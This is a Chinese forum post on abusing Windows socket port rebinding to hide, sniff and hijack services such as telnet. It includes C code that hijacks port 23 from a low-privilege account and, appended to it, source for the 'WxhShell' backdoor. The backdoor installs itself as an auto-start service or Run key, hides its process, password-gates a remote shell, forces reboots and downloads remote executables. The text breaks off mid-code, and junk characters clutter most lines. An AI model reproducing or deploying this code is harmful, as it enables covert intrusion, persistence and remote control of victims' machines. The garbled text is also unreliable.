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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8 6y)+h`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sba+J:#w  
+`'=K ;{U  
  saddr.sin_family = AF_INET; |L%}@e Vw_  
`v) :|Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P+K< /i  
^--kcTiR%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _!2bZ:emG  
rlV:% k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rY yB"|  
VI_8r5o  
  这意味着什么?意味着可以进行如下的攻击: }04 EM  
M^S <G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X"lPXoCN  
0&wbGbg(W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )"KKBil0  
p(vmMWR!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8725ET t  
Ps<;DE\$f4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =cz^g^7  
<MdIQ;I8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oU"!"t  
~FCkr&Ky3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \7]0vG  
apy9B6%PJ+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j AXKp b  
J;8M. _  
  #include [C@ |q Ah  
  #include C ^QpVt-T  
  #include jTHgh>n  
  #include    wX/0.aZ|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lW6$v* s9  
  int main() xfegi$  
  { EnW}>XN  
  WORD wVersionRequested; [P_@-:(O  
  DWORD ret; VCf/EkC  
  WSADATA wsaData; Q>d<4]`  
  BOOL val; |k,M$@5s  
  SOCKADDR_IN saddr; eICavp  
  SOCKADDR_IN scaddr; z.Y`"B'j`  
  int err; {mOQRAKl  
  SOCKET s; w{ +G/Ea  
  SOCKET sc; !pT i.3  
  int caddsize;  VB&` S+-  
  HANDLE mt; [a201I0 -  
  DWORD tid;   1|bg;X9+  
  wVersionRequested = MAKEWORD( 2, 2 ); <b>g^ `}?D  
  err = WSAStartup( wVersionRequested, &wsaData ); + PAb+E|,  
  if ( err != 0 ) { ^L4"X~eM  
  printf("error!WSAStartup failed!\n"); Rq`d I~5!b  
  return -1; hlKM4JT\  
  } @{V bu  
  saddr.sin_family = AF_INET; T@H<Fm_  
   Te d1Ky2O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xky +"  
Mj!g1Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RwyX,|  
  saddr.sin_port = htons(23); ^ L?2y/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VPi*9(LS  
  { &d sXK~9M>  
  printf("error!socket failed!\n"); xwSi.~.  
  return -1; oU`{6 ~;  
  } 2p|ed=ly%  
  val = TRUE; (pv6V2i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }z,f8Yz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (baBi9<P=  
  { e|1.-P@  
  printf("error!setsockopt failed!\n"); Ah :d2*SR4  
  return -1; [ikW3 '99,  
  } Gov]^?^D-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M4}b l h#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5do49H_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2]:Z7Ji  
.(g"(fgF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]L6[ vJHx  
  { 4ux^K:z  
  ret=GetLastError(); }kZ)|/]kn  
  printf("error!bind failed!\n"); 3Z_\.Z1R@  
  return -1; ssY5g !%  
  } |\BxKwS^  
  listen(s,2); F<0GX!p4u  
  while(1) O_ 4 j"0  
  { IRG-H!FV  
  caddsize = sizeof(scaddr); Wj I NY  
  //接受连接请求 s:zz 8oN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5}Z_A?gy  
  if(sc!=INVALID_SOCKET)  $*$X5  
  { Eg+ z(m$M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sI<PYi={-6  
  if(mt==NULL) 8[rZRc  
  { ^~` t q+  
  printf("Thread Creat Failed!\n"); CNM pyr  
  break; =wquFA!c  
  } Mwtd<7<!A  
  } ;%^T*?t  
  CloseHandle(mt); Jp 7m$D%  
  } $+WMKv@<  
  closesocket(s); BTnrgs#[  
  WSACleanup(); '*=kt  
  return 0; 5H!6m_,w  
  }   3[Z7bhpV  
  DWORD WINAPI ClientThread(LPVOID lpParam) }.t8C y9G  
  { v|IG G'r  
  SOCKET ss = (SOCKET)lpParam; _1ax6MwX  
  SOCKET sc; WH lvd  
  unsigned char buf[4096]; ana?;NvC  
  SOCKADDR_IN saddr; 0eFvcH:qG  
  long num; I><sK-3  
  DWORD val; Qm@v}pD  
  DWORD ret; \1nj=ca?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d)1Pl3+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jrN"en  
  saddr.sin_family = AF_INET; Jty/gjK+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^kh@AgG^  
  saddr.sin_port = htons(23); =z4kK_?F,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3?r?)$Jk  
  { 4l?"zv1  
  printf("error!socket failed!\n"); L(`Rf0smt  
  return -1; Dssecc'  
  } BvqypLI  
  val = 100; k.6(Q_TS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4l~B/"}  
  { }ZB :nnG  
  ret = GetLastError(); glUf. :]  
  return -1; O Ce;8^  
  } X;QhK] Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XK,l9 {*  
  { ;@s'JSPt  
  ret = GetLastError(); ICm/9Onh&  
  return -1; C@OY)!x!  
  } VWT\wA L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s5&v~I;>e  
  { :d} @Z}2sD  
  printf("error!socket connect failed!\n"); ;t5e]  
  closesocket(sc); |m>{< :  
  closesocket(ss); 0u=FlQ }h  
  return -1; k|; [)gE  
  } uoMDf{d  
  while(1) [`U9  
  { ;S}_/'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f[+N=vr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q}|QgN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IgNL1KRD  
  num = recv(ss,buf,4096,0); dFzlcKFFD  
  if(num>0) M&ec%<lM  
  send(sc,buf,num,0); ]#P>wW  
  else if(num==0) TKrh3   
  break; D)GD9MJ  
  num = recv(sc,buf,4096,0); s^>1rV]=(`  
  if(num>0) $[M5V v  
  send(ss,buf,num,0); &? z6f9*$  
  else if(num==0) p^X \~Yibs  
  break; R6E.C!EI  
  } -J(93@X 9  
  closesocket(ss); 'Ej&zh  
  closesocket(sc); 1gh<nn  
  return 0 ; G21cJi*  
  } 7yFV.#K3O  
c~v(bK  
F8OE  
========================================================== 1zWEK]2.R  
We:b1sZR  
下边附上一个代码,,WXhSHELL -=VGXd  
tY0C& u2  
========================================================== =N<Z@'c  
rF)[ Sed:T  
#include "stdafx.h" 'G8.)eTA'  
[.LbX`K:  
#include <stdio.h> n81z 0lnr  
#include <string.h> '/~j!H4q9  
#include <windows.h> +Q!  
#include <winsock2.h> Jwe9L^gL  
#include <winsvc.h> KV]8o'  
#include <urlmon.h> 6\GL|#G  
V^E.9fs,  
#pragma comment (lib, "Ws2_32.lib") *WK0dn  
#pragma comment (lib, "urlmon.lib") pipqXe  
jb lj]/  
#define MAX_USER   100 // 最大客户端连接数 +9[s(E?SY  
#define BUF_SOCK   200 // sock buffer k/mO(i%qi  
#define KEY_BUFF   255 // 输入 buffer Hribk[99  
 >q^l  
#define REBOOT     0   // 重启 vY'E+M"+@  
#define SHUTDOWN   1   // 关机 qgk6 \&K[  
%eQw\o,a  
#define DEF_PORT   5000 // 监听端口 V>:ubl8j0l  
mIm.+U`a2  
#define REG_LEN     16   // 注册表键长度 RqE|h6/  
#define SVC_LEN     80   // NT服务名长度 .E&-gXJ4  
?h7(,39^>  
// 从dll定义API <imIgt|`2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &0*IN nlc?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BZ"+ ND9m_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1PnWgu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mQ qv{1  
u!DAeE  
// wxhshell配置信息 6y}|IhX?z  
struct WSCFG { 7<7 /NZ<I  
  int ws_port;         // 监听端口 18];fC  
  char ws_passstr[REG_LEN]; // 口令 EH~XN9b  
  int ws_autoins;       // 安装标记, 1=yes 0=no -9> oB  
  char ws_regname[REG_LEN]; // 注册表键名 CH4 ~9mmE  
  char ws_svcname[REG_LEN]; // 服务名 Y!nxHRE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ! C|VX,w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Y|gT*v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t-3y`31i.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7qT>wCVT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1:VbbOu->V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <{k r5<  
&(t/4)IZox  
}; 4Y:[YlfD.  
D0HLU ~o  
// default Wxhshell configuration P8=!/L2?  
struct WSCFG wscfg={DEF_PORT, RT$.r5l_@  
    "xuhuanlingzhe", M73d^z  
    1, x9s1AzM{  
    "Wxhshell", Z+]Uw   
    "Wxhshell", SxWK@)tP  
            "WxhShell Service", [(PD2GO+  
    "Wrsky Windows CmdShell Service", J8:f9a:|M  
    "Please Input Your Password: ", ;!H|0sv  
  1, 6im!v<1Qx  
  "http://www.wrsky.com/wxhshell.exe", Cp[ NVmN  
  "Wxhshell.exe" bL"!z"NA  
    }; Kb5 YA  
R1lC_G]  
// 消息定义模块 YNV4'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LH]<+Zren  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iw)^; 8q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }vspjplk^  
char *msg_ws_ext="\n\rExit."; %jnSJjcq  
char *msg_ws_end="\n\rQuit."; *eb2()B%  
char *msg_ws_boot="\n\rReboot..."; [K4wd%+  
char *msg_ws_poff="\n\rShutdown..."; f9FLtdh \7  
char *msg_ws_down="\n\rSave to "; 8dY Pn+`  
l1MVC@'pvP  
char *msg_ws_err="\n\rErr!"; l\%LT{$e  
char *msg_ws_ok="\n\rOK!"; Vp~c$y+  
]F81N(@:F  
char ExeFile[MAX_PATH]; $bd2TVNV:  
int nUser = 0; [/iT D=O,  
HANDLE handles[MAX_USER]; ~qj09  
int OsIsNt; @.SuHd  
1w/Ur'8we  
SERVICE_STATUS       serviceStatus; D`C#O 7.N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hEv}g  
D<:J6W7]  
// 函数声明 @ky<5r*JU(  
int Install(void);  ]H_|E  
int Uninstall(void); Q>[Xm)jr:  
int DownloadFile(char *sURL, SOCKET wsh); H 6~6hg  
int Boot(int flag); |NoTwK  
void HideProc(void); :\<D q 71  
int GetOsVer(void); r#;GVJR6  
int Wxhshell(SOCKET wsl); Obb"#W@3  
void TalkWithClient(void *cs); W{z{AxS  
int CmdShell(SOCKET sock); 4IH,:w=ofN  
int StartFromService(void); p ! _\a  
int StartWxhshell(LPSTR lpCmdLine); xJSK"  
sN%#e+(=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *dw6>G0U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DLP G  
KqNbIw*sR  
// 数据结构和表定义 ]1k"'XG4,  
SERVICE_TABLE_ENTRY DispatchTable[] = jQIb :\0#  
{ DbH"e  
{wscfg.ws_svcname, NTServiceMain}, . vJlTg  
{NULL, NULL} K,' v{wSr  
}; +dgHl_,i  
W-UMX',0zS  
// 自我安装 0/@ ^He8l  
int Install(void) IVblS iFF  
{ -4IHs=`;I  
  char svExeFile[MAX_PATH]; /suW{8A(E  
  HKEY key; eKw!%97>  
  strcpy(svExeFile,ExeFile); rrL gBeQa  
Un[ 0or  
// 如果是win9x系统,修改注册表设为自启动 U:1cbD7|3  
if(!OsIsNt) { k6b0&il  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ /p/9 -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CfMCc:8mL  
  RegCloseKey(key); rQ*Fc~^L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2/ES.>K!.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  <RaM@E  
  RegCloseKey(key); ZJ Ke}F`l  
  return 0; ?n0Z4 8%  
    } l1?$quM^V  
  } `{GI^kgJ9  
} ^KRe(  
else { *@1(!A  
V@C8HTg  
// 如果是NT以上系统,安装为系统服务 k/;%{@G)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K\3N_ztu  
if (schSCManager!=0) )5NjwLs  
{ tzn+ M0'  
  SC_HANDLE schService = CreateService lH#C:n  
  ( `EJ.L6j$'  
  schSCManager, qjrl$[`X:  
  wscfg.ws_svcname, ^ b`wf"A  
  wscfg.ws_svcdisp, 2f8\Osn>m  
  SERVICE_ALL_ACCESS, KyQd6 1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BD.>aAi!  
  SERVICE_AUTO_START, Q%*987i  
  SERVICE_ERROR_NORMAL, d(X/N2~g  
  svExeFile, #PJHwvr  
  NULL, R|u2ga ~  
  NULL, HZJ)q`1E  
  NULL, YQ7\99tj  
  NULL, P]mJ01@'  
  NULL 99G'`NO  
  ); gL(_!mcwu  
  if (schService!=0) ]o<&Q52|  
  { M8{J  
  CloseServiceHandle(schService); {IgL H`@  
  CloseServiceHandle(schSCManager); yRyUOTK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]I<w;.z  
  strcat(svExeFile,wscfg.ws_svcname); 9(AY7]6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `Hp=1a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p`I[3/$3  
  RegCloseKey(key); ^1mnw@04  
  return 0; N}\%r&KR=  
    } 5"WI^"6b:  
  } f]C`]qg  
  CloseServiceHandle(schSCManager); hC D6  
} Svl; Ul  
} $2J[lt?%  
h; "pAE  
return 1; F +Dke>j  
} UrRYK-g  
q*'-G]tH=  
// 自我卸载 \~BYY|UB;W  
int Uninstall(void) 8W"Xdv{  
{ vBLs88  
  HKEY key; /Y#Q<=X  
_X]\#^UiO2  
if(!OsIsNt) { 6'[gd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~LF1$Cai  
  RegDeleteValue(key,wscfg.ws_regname); rf=oH }  
  RegCloseKey(key); %F2T`?t:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F6Ne?[b  
  RegDeleteValue(key,wscfg.ws_regname); %)#yMMhR  
  RegCloseKey(key); \`oP\|Z  
  return 0; VYw<8AEFY  
  } 9'Cu9nR  
} *ORa@ x  
} C1w6[f1+  
else { ,~G:>q$ad  
U_C[9Z'P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O[j$n  
if (schSCManager!=0) 9l<}`/@}W  
{ U: q4OtiP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OD6dMql  
  if (schService!=0) <El!,UBq<  
  { ZYLPk<<  
  if(DeleteService(schService)!=0) { AvZO R  
  CloseServiceHandle(schService); E4N"|u|   
  CloseServiceHandle(schSCManager); 9ePR6WS4  
  return 0; Aj{G=AT  
  } :qvA'.L/;z  
  CloseServiceHandle(schService); R+5yyk\  
  } pebNE3`#  
  CloseServiceHandle(schSCManager); IO{iQ-Mg  
} Q6$^lRNOpk  
} 2v{42]XYf  
sB=s .`9  
return 1; ,Yu2K`  
} (gEz<}Av.  
 ,8)aK y  
// 从指定url下载文件 lFV\Go  
int DownloadFile(char *sURL, SOCKET wsh) Sd *7jW?  
{ 1B`JvNtd  
  HRESULT hr; ^%t{:\  
char seps[]= "/"; p?' F$Wz  
char *token; Exz(t'  
char *file; ?8ady% .ls  
char myURL[MAX_PATH]; 0~Iq9}{*P  
char myFILE[MAX_PATH]; G7k.YtW  
bW2Msv/H  
strcpy(myURL,sURL); :a*F>S!  
  token=strtok(myURL,seps); c|F26$rv  
  while(token!=NULL) F#Bi*YY  
  { +a|u,'u  
    file=token; asL!@YE  
  token=strtok(NULL,seps); >a)6GZ@  
  } F>U*Wy  
%:.IG.`d  
GetCurrentDirectory(MAX_PATH,myFILE); q9B5>Ye)  
strcat(myFILE, "\\"); kf1 (  
strcat(myFILE, file); &G aI  
  send(wsh,myFILE,strlen(myFILE),0); v%)=!T ,  
send(wsh,"...",3,0); (Eo#oX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D6:"k 2  
  if(hr==S_OK) ]ZS/9 $  
return 0; P,bis7X.  
else 1i 7p'  
return 1; IF kU8EK&B  
_/5xtupxE  
} ,A9{x\1!  
l<p6zD$l  
// 系统电源模块 Tl S 904'  
int Boot(int flag) N#8$pE  
{ eo<=Q|nI&  
  HANDLE hToken; GC)xQZU)s  
  TOKEN_PRIVILEGES tkp; P`y 0FKS  
/H$/s=YU\U  
  if(OsIsNt) { 4~e6z(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gx=2]~O1(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NBO&VYs|  
    tkp.PrivilegeCount = 1; eXCH*vZY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f/pr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K~14;  
if(flag==REBOOT) { 4p]hY!7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x<>In"QV  
  return 0; q&@q /9kz  
} e[%g'}D:-  
else { Ew2ksZ>B]&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J72 YZrc  
  return 0; _j?/O)M c  
} }>?"bcJ  
  } fHacVj J  
  else { iYz!:TxP  
if(flag==REBOOT) { p} i5z_tS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aWMEo`O%  
  return 0; 9 [wR/8Xm  
} A{ Ejk|  
else { NplkhgSj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jHpFl4VPz  
  return 0; *h2)$^P%  
} ?&"!,  
} (\ Gs7  
J}s)#va9R  
return 1; > 72qi*0  
} N}7tjk   
#3((f[  
// win9x进程隐藏模块 YojYb]y+ j  
void HideProc(void) nX-%qc"  
{ B#K2?Et!t  
J@Qw6J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); psAdYEGk!  
  if ( hKernel != NULL ) :a y-2  
  { ^?gs<-)B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cs8e("w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KHt.g`1:R  
    FreeLibrary(hKernel); y%xn(Bn  
  } `"<tk1Kq"  
P:2 0i*QU  
return; }~$96|J  
} N TL`9b  
uNG?`>4>  
// 获取操作系统版本 9`v[Jm% $m  
int GetOsVer(void) VD-2{em  
{ /]"2;e-s+  
  OSVERSIONINFO winfo; VH5Vg We  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dv[ 35[Yh  
  GetVersionEx(&winfo); l} UOg   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K;#9: Z^+  
  return 1; $_NP4V8|z/  
  else .+Fh,bNYK  
  return 0; [";<YR7iRN  
} J;cTEB  
V-%Am  
// 客户端句柄模块 "+:~#&r  
int Wxhshell(SOCKET wsl) 5b-: e? |  
{ >$p|W~x  
  SOCKET wsh; cQldBc  
  struct sockaddr_in client; l]v>PIh~N  
  DWORD myID; Rjz~n38.  
KsBi<wY  
  while(nUser<MAX_USER) RE}$(T=  
{ ({#M*=&"  
  int nSize=sizeof(client); i& ybvTl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (lR9x6yf  
  if(wsh==INVALID_SOCKET) return 1; <X1^w  
h?ZxS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x"QZ}28(t  
if(handles[nUser]==0) XB'PEvh8  
  closesocket(wsh); by8~'?  
else oN6X]T<   
  nUser++; M;K%=l$NG  
  } Zjx:1c= b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \%+5p"Z<  
vZl]C%  
  return 0; qg#|1J6e  
} hIv8A_>@`  
I,d5Y3mC  
// 关闭 socket V,qc[*_3  
void CloseIt(SOCKET wsh) mh=YrDU+L  
{ ]~1Xx:X-  
closesocket(wsh); P\R#!+FgW8  
nUser--; amH..D7_>  
ExitThread(0); %\2w 1  
} 26Jb{o9Z<  
.y~vn[qN  
// 客户端请求句柄 Z&E!m   
void TalkWithClient(void *cs) .#[==  
{ bI"_hvcFp  
\tx4bV#  
  SOCKET wsh=(SOCKET)cs; v8!Ts"  
  char pwd[SVC_LEN]; QBI;aG<+b>  
  char cmd[KEY_BUFF]; j"c30AY  
char chr[1]; @?r[ $Ea1M  
int i,j;  N\9 Wxz$  
mE}@}@(  
  while (nUser < MAX_USER) { ^N\$oV$  
HM(S}>  
if(wscfg.ws_passstr) { Gn8'h TM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n6Qsug$z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #[C=LGi  
  //ZeroMemory(pwd,KEY_BUFF); _rU%DL?  
      i=0; 1SGLA"r  
  while(i<SVC_LEN) { x<es1A'u6  
F+3}Gkn  
  // 设置超时 o6[aP[~F  
  fd_set FdRead; |kXx9vGq@  
  struct timeval TimeOut; at-+%e  
  FD_ZERO(&FdRead); z[`O YwsW  
  FD_SET(wsh,&FdRead); -]K9sy)I  
  TimeOut.tv_sec=8; R#x~f  
  TimeOut.tv_usec=0; Btgxzf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~l@ h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NP#:} )  
kED1s's  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Voi 4;  
  pwd=chr[0]; B<" `<oG@|  
  if(chr[0]==0xd || chr[0]==0xa) { BrO" _  
  pwd=0; Dxlpo! ?#  
  break; gx',~  
  } j aEUz5  
  i++; @jxAU7!  
    } ZcLW8L  
WQ1~9#  
  // 如果是非法用户,关闭 socket rV0X*[]J>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t/57LjV  
} }pMd/|A,  
[, )G\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V|n}v?f_q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?8GggJC  
t0*,%ge:<  
while(1) { Oe["4C  
5SNa~ kC&  
  ZeroMemory(cmd,KEY_BUFF); 0mMoDJRy  
G)G 257K"~  
      // 自动支持客户端 telnet标准   j @HOU~x  
  j=0; tvlrUp  
  while(j<KEY_BUFF) { ^.|P&f~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "h'+!2mf  
  cmd[j]=chr[0]; w 4fz!l]  
  if(chr[0]==0xa || chr[0]==0xd) { P< 5v\\  
  cmd[j]=0; `UK'IN.il  
  break; Ap<kK0#h  
  } ZZu{c t9  
  j++; :+q d>;yf#  
    } '=X)0GG  
 h/*q +H  
  // 下载文件 [Ep%9(SgA'  
  if(strstr(cmd,"http://")) { D02(6|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G8t9Lx  
  if(DownloadFile(cmd,wsh)) b?kY`LC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 00-cT9C3  
  else psFY=^69o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rd:WF(]  
  } ^kO+NH40  
  else { F!_8?=|  
``?79MJ5  
    switch(cmd[0]) { Nm7YH@x*o  
  `i:DmIoz  
  // 帮助 @?vC4+'  
  case '?': { PptVneujI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tSVWO] <  
    break; M(/ATOJ(  
  } W2Ik!wEe&  
  // 安装 (xdC'@&  
  case 'i': { e1OGGF%E n  
    if(Install()) n(h9I'V8)F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 90[6PSXk  
    else ~~\C.6c#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H-&T)  
    break; 4'wbtE|  
    } e=^^TX`I  
  // 卸载 2Wn*J[5  
  case 'r': { [p+-]V  
    if(Uninstall()) C==yl"w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YWFq&II|Z  
    else uo8[,'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7M/v[dwL  
    break; m!K`?P]:N  
    } M '#a.z%  
  // 显示 wxhshell 所在路径 TT@ U_^o  
  case 'p': { _1,hO?TK  
    char svExeFile[MAX_PATH]; 2z9s$tp  
    strcpy(svExeFile,"\n\r"); "P9(k>  
      strcat(svExeFile,ExeFile); PS}'LhZ  
        send(wsh,svExeFile,strlen(svExeFile),0); FMi:2.E  
    break; HSk_'g(\0  
    } 2Onp{,'}  
  // 重启 :o 8XG  
  case 'b': { S54q?sb_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IE|? &O  
    if(Boot(REBOOT)) 2O 2HmL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 21$E.x 6  
    else { ;=p3L<~c`K  
    closesocket(wsh); ![i)_XO  
    ExitThread(0); ZfMs6`Wv 1  
    } KTq+JT u  
    break; 6Hp+?mmh  
    } B[,AR"#b  
  // 关机 ^B)f!HtU  
  case 'd': { 'eo/"~/*w  
